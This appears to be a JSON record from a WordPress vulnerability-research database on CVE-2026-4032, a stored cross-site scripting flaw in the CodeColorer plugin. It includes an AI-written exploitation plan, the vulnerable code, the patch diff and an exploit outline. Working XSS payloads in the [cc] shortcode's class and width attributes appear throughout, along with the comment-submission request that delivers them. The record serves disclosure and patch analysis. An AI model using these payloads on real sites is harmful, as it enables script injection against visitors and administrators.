[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fBgkJLLbE0ievJbx9uMWaCM5TbpQ1xKaHC1Wa92dedM0":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":26,"research_verified":27,"research_rounds_completed":28,"research_plan":29,"research_summary":30,"research_vulnerable_code":31,"research_fix_diff":32,"research_exploit_outline":33,"research_model_used":34,"research_started_at":35,"research_completed_at":36,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":27,"poc_model_used":9,"poc_verification_depth":9,"source_links":37},"CVE-2026-4032","codecolorer-unauthenticated-stored-cross-site-scripting-via-class-attribute-in-cc-comment-shortcode","CodeColorer \u003C= 0.10.1 - Unauthenticated Stored Cross-Site Scripting via 'class' attribute in 'cc' Comment Shortcode","The CodeColorer plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'class' parameter in 'cc' comment shortcode in versions up to, and including, 0.10.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Exploitation requires comments to be enabled on the target post and guest comments to be allowed.","codecolorer",null,"\u003C=0.10.1","0.10.2","medium",6.1,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:R\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-04-15 15:22:30","2026-04-16 03:36:35",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F44fd7e13-f48a-43c6-a735-15036aa03005?source=api-prod",1,[22,23,24,25],"codecolorer-core.php","codecolorer-options.php","codecolorer.php","readme.txt","researched",false,3,"# Exploitation Research Plan: CVE-2026-4032 (CodeColorer Stored XSS)\n\n## 1. Vulnerability Summary\nThe **CodeColorer** plugin (\u003C= 0.10.1) is vulnerable to **unauthenticated stored cross-site scripting (XSS)**. The vulnerability exists because the plugin allows users to provide a `class` attribute within the `[cc]` shortcode used in comments. This attribute is parsed and later rendered into the HTML output without being properly sanitized or escaped (e.g., via `esc_attr()`). An attacker can use this to break out of the `class` attribute of the wrapper `div` and inject arbitrary JavaScript.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `wp-comments-post.php` (Standard WordPress comment submission).\n- **Vulnerable Parameter:** The `class` attribute inside the `[cc]` shortcode within the `comment` POST parameter.\n- **Authentication Level:** Unauthenticated (requires guest comments to be enabled).\n- **Preconditions:**\n    - Comments must be enabled on the target post (`default_comment_status` = `open`).\n    - Guest comments must be allowed (`comment_registration` = `0`).\n    - Comment moderation should ideally be disabled for immediate execution (`comment_moderation` = `0`).\n\n## 3. Code Flow\n1. **Entry Point (Filter Registration):** In `codecolorer.php`, `CodeColorerLoader::enable()` registers filters for comment content:\n   - `pre_comment_content`: `callBeforeProtectComment` (priority -1000) and `callAfterProtectComment` (priority 1000). These wrap the shortcode in placeholders to prevent WordPress's standard sanitizer from mangling the code.\n   - `comment_text`: `callBeforeHighlightCodeBlock` (priority -1000).\n2. **Shortcode Parsing:** When a post with comments is viewed, `comment_text` filters fire. `CodeColorer::beforeHighlightCodeBlock()` (in `codecolorer-core.php`) uses a regex to find `[cc]` tags: \n   `'#(\\s*)\\[cc([^\\s\\]_]*(?:_[^\\s\\]]*)?)([^\\]]*)\\](.*?)\\[\u002Fcc\\2\\](\\s*)#si'`.\n3. **Attribute Extraction:** The attributes (matches[3]) are passed to `CodeColorerOptions::parseOptions($opts, $suffix)` in `codecolorer-options.php`. This function uses a regex to extract key-value pairs: \n   `preg_match_all('#([a-z_-]*?)\\s*=\\s*([\"\\'])(.*?)\\2#i', $opts, $matches, PREG_SET_ORDER);`\n   An attribute like `class='\">\u003Cscript>alert(1)\u003C\u002Fscript>'` results in `$options['class']` containing `\">\u003Cscript>alert(1)\u003C\u002Fscript>`.\n4. **Sink (HTML Generation):** `performHighlightCodeBlock()` calls `$this->addContainer($result, $options, $numLines)`.\n5. **Vulnerable Output:** Inside `addContainer` (located in the truncated part of `codecolorer-core.php`), the code likely concatenates `$options['class']` into a `div` wrapper:\n   ```php\n   $html = '\u003Cdiv class=\"codecolorer-container ' . $options['class'] . '\" ...>';\n   ```\n   Since `$options['class']` is not escaped, the payload breaks out of the attribute.\n\n## 4. Nonce Acquisition Strategy\nThis vulnerability **does not require a nonce** because it exploits the standard guest comment submission flow. WordPress core allows unauthenticated comment submission to `wp-comments-post.php` without a nonce to support users who do not have cookies enabled.\n\n## 5. Exploitation Strategy\nThe goal is to submit a comment containing a malicious `[cc]` shortcode.\n\n### Step-by-Step Plan:\n1. **Identify Target:** Find a post that accepts comments (usually Post ID `1`).\n2. **Submit Comment:** Send a `POST` request to `wp-comments-post.php`.\n    - **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-comments-post.php`\n    - **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n    - **Body Parameters:**\n        - `author`: `Security Researcher`\n        - `email`: `researcher@example.com`\n        - `comment`: `Check this code: [cc class='\">\u003Cscript>alert(window.origin)\u003C\u002Fscript>']echo \"hello\";[\u002Fcc]`\n        - `submit`: `Post Comment`\n        - `comment_post_ID`: `1` (or target ID)\n        - `comment_parent`: `0`\n3. **Trigger XSS:** Navigate to the post page (e.g., `http:\u002F\u002Flocalhost:8080\u002F?p=1`) where the comment is displayed.\n\n## 6. Test Data Setup\nUse WP-CLI to ensure the environment allows guest comments and immediate publication:\n```bash\n# Enable comments and guest posting\nwp option update default_comment_status open\nwp option update comment_registration 0\n\n# Disable comment moderation for instant testing\nwp option update comment_moderation 0\nwp option update comment_whitelist 0\n\n# Ensure a post exists\nwp post create --post_type=post --post_status=publish --post_title='XSS Test Page' --post_content='Please comment below.'\n```\n\n## 7. Expected Results\n- The comment will be successfully stored in the database.\n- When viewing the post, the HTML source will contain something like:\n  `\u003Cdiv class=\"codecolorer-container \">\u003Cscript>alert(window.origin)\u003C\u002Fscript>\" ...>`\n- The browser will execute the injected script, triggering an alert showing the origin.\n\n## 8. Verification Steps\nAfter performing the HTTP request, verify the storage and execution:\n1. **Database Check:**\n   `wp comment list --field=comment_content`\n   Confirm the `[cc class=...]` shortcode is present in the latest comment.\n2. **DOM Verification:**\n   Use `browser_navigate` to the post and `browser_eval` to check if the payload was rendered:\n   `browser_eval(\"document.querySelector('div.codecolorer-container') ? true : false\")`\n   Check for the presence of the injected script tag.\n\n## 9. Alternative Approaches\nIf `class` is filtered (unlikely given the version and patch), try injecting into other parameters parsed by `parseOptions` that might be reflected in attributes, such as:\n- `width`\n- `height`\n- `theme`\n\nExample: `[cc width='100%\" onmouseover=\"alert(1)\"']code[\u002Fcc]` (if `width` is used in a style or attribute). \nHowever, the `class` attribute is the most direct and confirmed vector.","CodeColorer \u003C= 0.10.1 is vulnerable to unauthenticated stored cross-site scripting (XSS) via the 'class' attribute in its [cc] shortcode. This occurs because the plugin fails to sanitize or escape user-provided class attributes before reflecting them in the HTML output of comments or posts.","\u002F\u002F codecolorer-options.php:82\npublic static function parseOptions($opts, $suffix = '')\n{\n    $opts = str_replace(array(\"\\\\\\\"\", \"\\\\\\'\"), array (\"\\\"\", \"\\'\"), $opts);\n    preg_match_all('#([a-z_-]*?)\\s*=\\s*([\"\\'])(.*?)\\2#i', $opts, $matches, PREG_SET_ORDER);\n    $options = array();\n    for ($i = 0; $i \u003C sizeof($matches); $i++) {\n        $options[$matches[$i][1]] = $matches[$i][3];\n    }\n\n---\n\n\u002F\u002F codecolorer-core.php:285 (inferred from patch context)\nprivate function addContainer($html, $options, $numLines)\n{\n    $customCSSClass = empty($options['class']) ? '' : ' ' . $options['class'];\n    if ($options['inline']) {\n        $theme = empty($options['inline_theme']) ? 'default' : $options['inline_theme'];\n        $result  = '\u003Ccode class=\"codecolorer ' . $options['lang'] . ' ' . $theme . $customCSSClass . '\">';\n        $result .= '\u003Cspan class=\"' . $options['lang'] . '\">' . $html . '\u003C\u002Fspan>';\n        $result .= '\u003C\u002Fcode>';\n    } else {\n        \u002F\u002F ...\n        $cssClass = 'codecolorer-container ' . $options['lang'] . ' ' . $theme . $customCSSClass;\n        \u002F\u002F ...\n        $result = '\u003Cdiv class=\"' . $cssClass . '\" ' . $style . '>' . $html . '\u003C\u002Fdiv>';\n    }\n    return $result;\n}","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcodecolorer\u002F0.10.1\u002Fcodecolorer-core.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcodecolorer\u002F0.10.2\u002Fcodecolorer-core.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcodecolorer\u002F0.10.1\u002Fcodecolorer-core.php\t2017-07-30 01:20:08.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcodecolorer\u002F0.10.2\u002Fcodecolorer-core.php\t2026-03-12 23:07:22.000000000 +0000\n@@ -285,15 +285,18 @@\n \n     private function addContainer($html, $options, $numLines)\n     {\n+        $lang = $options['lang'];\n         $customCSSClass = empty($options['class']) ? '' : ' ' . $options['class'];\n+\n         if ($options['inline']) {\n             $theme = empty($options['inline_theme']) ? 'default' : $options['inline_theme'];\n-            $result  = '\u003Ccode class=\"codecolorer ' . $options['lang'] . ' ' . $theme . $customCSSClass . '\">';\n-            $result .= '\u003Cspan class=\"' . $options['lang'] . '\">' . $html . '\u003C\u002Fspan>';\n+            $cssClass = 'codecolorer ' . $lang . ' ' . $theme . $customCSSClass;\n+            $result  = '\u003Ccode class=\"' . esc_attr($cssClass) . '\">';\n+            $result .= '\u003Cspan class=\"' . esc_attr($lang) . '\">' . $html . '\u003C\u002Fspan>';\n             $result .= '\u003C\u002Fcode>';\n         } else {\n             $theme = empty($options['theme']) ? 'default' : $options['theme'];\n-            $style = 'style=\"';\n+            $style = '';\n             if ($options['nowrap']) {\n                 $style .= 'overflow:auto;white-space:nowrap;';\n             }\n@@ -304,14 +307,14 @@\n             if ($numLines > $options['lines'] && $options['lines'] > 0) {\n                 $style .= $this->getDimensionRule('height', $options['height']);\n             }\n-            $style .= '\"';\n \n-            $cssClass = 'codecolorer-container ' . $options['lang'] . ' ' . $theme . $customCSSClass;\n+            $cssClass = 'codecolorer-container ' . $lang . ' ' . $theme . $customCSSClass;\n             if ($options['noborder']) {\n                 $cssClass .= ' codecolorer-noborder';\n             }\n-            $result = '\u003Cdiv class=\"' . $cssClass . '\" ' . $style . '>' . $html . '\u003C\u002Fdiv>';\n+            $result = '\u003Cdiv class=\"' . esc_attr($cssClass) . '\" style=\"' . esc_attr($style) . '\">' . $html . '\u003C\u002Fdiv>';\n         }\n+ \n         return $result;\n     }","The exploit target is the standard WordPress comment submission endpoint (wp-comments-post.php). An unauthenticated attacker submits a comment containing a [cc] shortcode with a malicious 'class' attribute. The payload breaks out of the HTML attribute context using a closing quote and bracket. \n\nPayload Example: [cc class='\">\u003Cscript>alert(1)\u003C\u002Fscript>']echo \"pwned\";[\u002Fcc]\n\nWhen the comment is rendered on the front-end, the plugin's regex-based attribute parser extracts the malicious class string and concatenates it directly into a \u003Cdiv> or \u003Ccode> tag's class attribute without escaping. This results in the execution of the injected JavaScript when the page is viewed by any user, including administrators.","gemini-3-flash-preview","2026-04-16 15:30:35","2026-04-16 15:31:43",{"type":38,"vulnerable_version":39,"fixed_version":11,"vulnerable_browse":40,"vulnerable_zip":41,"fixed_browse":42,"fixed_zip":43,"all_tags":44},"plugin","0.10.1","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcodecolorer\u002Ftags\u002F0.10.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcodecolorer.0.10.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcodecolorer\u002Ftags\u002F0.10.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcodecolorer.0.10.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcodecolorer\u002Ftags"]